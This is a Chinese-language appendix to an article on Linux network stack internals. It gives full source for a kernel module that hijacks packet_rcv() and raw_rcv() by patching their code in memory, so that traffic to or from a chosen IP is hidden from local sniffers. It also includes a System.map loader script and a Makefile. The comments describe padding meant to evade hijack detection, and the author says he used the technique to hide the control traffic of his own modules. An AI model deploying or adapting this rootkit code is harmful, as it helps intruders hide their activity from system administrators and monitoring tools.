服务器 频道

深入Linux网络核心堆栈之八

  --[ B - 第6节中的源代码

  这里给出的是一个劫持packet_rcv()和raw_rcv()函数以隐藏来自或去往我们指定的IP地址的数据包的简单模块。默认的IP地址被设置为127.0.0.1,但是可以通过改变#define IP的值来改变它。还有一个bash脚本,用于从System.map文件中获取需要的函数的入口地址,并且以需要的格式将这些地址做为参数来运行insmod命令。这个加载脚本是grem所写。原用于我的Mod-off项目,很容易修改它使之适用于这里给出的模块。再次感谢 grem。

  给出的模块仅是一个原理性的代码,没有使用任何模块隐藏的方法。切记,虽然该模块将通信从本机的嗅探器中隐藏,但是位于同一局域网的另一台主机上的嗅探器仍然能看到这些数据包。从该模块中所列出的内容出发,聪明的读者可以找到所有在设计一个阻塞任何种类的数据包的过滤函数时所需的东西。我已经成功的将本文提及的技术用于隐藏我的Linux核心模块项目中用到的控制和信息获取数据包。

  <++> pcaphide/pcap_block.c
  /* Kernel hack that will hijack the packet_rcv() function
  * which is used to pass packets to  Libpcap applications
  * that use  PACKET sockets.  Also  hijacks the raw_rcv()
  * function. This is used to pass packets to applications
  * that open RAW sockets.
  *
  * Written by bioforge  -  30th June, 2003
  */

  #define MODULE
  #define __KERNEL__

  #include <linux/config.h>
  #include <linux/module.h>
  #include <linux/kernel.h>
  #include <linux/netdevice.h>
  #include <linux/skbuff.h>
  #include <linux/smp_lock.h>
  #include <linux/ip.h>               /* For struct ip */
  #include <linux/if_ether.h>           /* For ETH_P_IP */

  #include <asm/page.h>               /* For PAGE_OFFSET */

  /*
  * IP address to hide 127.0.0.1 in NBO for Intel */
  #define IP    htonl(0x7F000001)

  /* Function pointer for original packet_rcv() */
  static int (*pr)(struct sk_buff *skb, struct net_device *dev,
        struct packet_type *pt);
  MODULE_PARM(pr, "i");       /* Retrieved as insmod parameter */

  /* Function pointer for original raw_rcv() */
  static int (*rr)(struct sock *sk, struct sk_buff *skb);
  MODULE_PARM(rr, "i");

  /* Spinlock used for the parts where we un/hijack packet_rcv() */
  static spinlock_t hijack_lock  = SPIN_LOCK_UNLOCKED;

  /* Helper macros for use with the Hijack spinlock */
  #define HIJACK_LOCK    spin_lock_irqsave(&hijack_lock, \
                       sl_flags)
  #define HIJACK_UNLOCK  spin_unlock_irqrestore(&hijack_lock, \
                        sl_flags)

  #define CODESIZE 10
  /* Original and hijack code buffers.
  * Note that the hijack code also provides 3 additional
  * bytes ( inc eax;  nop;  dec eax ) to try and throw
  * simple hijack detection techniques that just look for
  * a move and a jump. */
  /* For packet_rcv() */
  static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                    "\x40\x90\x48"
                                    "\xff\xe0";
  static unsigned char pr_orig[CODESIZE];

  /* For raw_rcv() */
  static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                    "\x40\x90\x48"
                                    "\xff\xe0";
  static unsigned char rr_orig[CODESIZE];

  /* Replacement for packet_rcv(). This is currently setup to hide
  * all packets with a source or destination IP address that we
  * specify. */
  int hacked_pr(struct sk_buff *skb, struct net_device *dev,
         struct packet_type *pt)
  {
  int sl_flags;               /* Flags for spinlock */
  int retval;

  /* Check if this is an IP packet going to or coming from our
  * hidden IP address. */
  if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
    if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
  return 0;            /* Ignore this packet */

  /* Call original */
  HIJACK_LOCK;
  memcpy((char *)pr, pr_orig, CODESIZE);
  retval = pr(skb, dev, pt);
  memcpy((char *)pr, pr_code, CODESIZE);
  HIJACK_UNLOCK;

  return retval;
  }

  /* Replacement for raw_rcv(). This is currently setup to hide
  * all packets with a source or destination IP address that we
  * specify. */
  int hacked_rr(struct sock *sock, struct sk_buff *skb)
  {
  int sl_flags;               /* Flags for spinlock */
  int retval;

  /* Check if this is an IP packet going to or coming from our
  * hidden IP address. */
  if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
    if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
  return 0;            /* Ignore this packet */

  /* Call original */
  HIJACK_LOCK;
  memcpy((char *)rr, rr_orig, CODESIZE);
  retval = rr(sock, skb);
  memcpy((char *)rr, rr_code, CODESIZE);
  HIJACK_UNLOCK;

  return retval;
  }

  int init_module()
  {
  int sl_flags;               /* Flags for spinlock */

  /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
  * (which we treat as the lower bound of kernel memory), then
  * we will not install the hacks. */
  if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
  printk("Address for packet_rcv() not valid! (%08x)\n",
         (int)pr);
  return -1;
  }
  if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
  printk("Address for raw_rcv() not valid! (%08x)\n",
         (int)rr);
  return -1;
  }
      
  *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
  *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;

  HIJACK_LOCK;
  memcpy(pr_orig, (char *)pr, CODESIZE);
  memcpy((char *)pr, pr_code, CODESIZE);
  memcpy(rr_orig, (char *)rr, CODESIZE);
  memcpy((char *)rr, rr_code, CODESIZE);
  HIJACK_UNLOCK;

  EXPORT_NO_SYMBOLS;

  return 0;
  }

  void cleanup_module()
  {
  int sl_flags;

  lock_kernel();

  HIJACK_LOCK;
  memcpy((char *)pr, pr_orig, CODESIZE);
  memcpy((char *)rr, rr_orig, CODESIZE);
  HIJACK_UNLOCK;

  unlock_kernel();
  }
  <-->

  <++> pcaphide/loader.sh
  #!/bin/sh
  #  Written by  grem, 30th June 2003
  #  Hacked by bioforge, 30th June 2003

  if [ "$1" = "" ]; then
      echo "Use: $0 <System.map>";
      exit;
  fi

  MAP="$1"
  PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
  RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

  if [ "$PR" = "" ]; then
      PR="00000000"
  fi
  if [ "$RR" = "" ]; then
      RR="00000000"
  fi

  echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

  # Now do the actual call to insmod
  insmod pcap_block.o pr=0x$PR rr=0x$RR
  <-->

  <++> pcaphide/Makefile
  CC= gcc
  CFLAGS= -Wall -O2 -fomit-frame-pointer
  INCLUDES= -I/usr/src/linux/include
  OBJS= pcap_block.o

  .c.o:
  $(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

  all: $(OBJS)

  clean:
  rm -rf *.o
  rm -rf ./*~
  <-->

  ------[ 参考文献

  该附录包含写本文过程中用到的参考文献的列表。

  [1]  The tcpdump group
    http://www.tcpdump.org
  [2]  The Packet Factory
    http://www.packetfactory.net
  [3]  My network tools page -
    http://uqconnect.net/~zzoklan/software/#net_tools
  [4]  Silvio Cesare''s Kernel Function Hijacking article
    http://vx.netlux.org/lib/vsc08.html
  [5]  Man pages for:
  - raw (7)
  - packet (7)
  - tcpdump (1)
  [6]  Linux kernel source files. In particular:
  - net/packet/af_packet.c     (for  packet_rcv())
  - net/ipv4/raw.c             (for  raw_rcv())
  - net/core/dev.c
  - net/ipv4/netfilter/*
  [7] Harald Welte''s Journey of a packet through the Linux 2.4 network
  stack
  http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
  [8] The Netfilter documentation page
  http://www.netfilter.org/documentation
  [9] Phrack 55 - File 12 -
  http://www.phrack.org/show.php?p=55&a=12
  [A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
  [B] Inside the Linux Packet Filter. A Linux Journal article
  http://www.linuxjournal.com/article.php?sid=4852
  

0
相关文章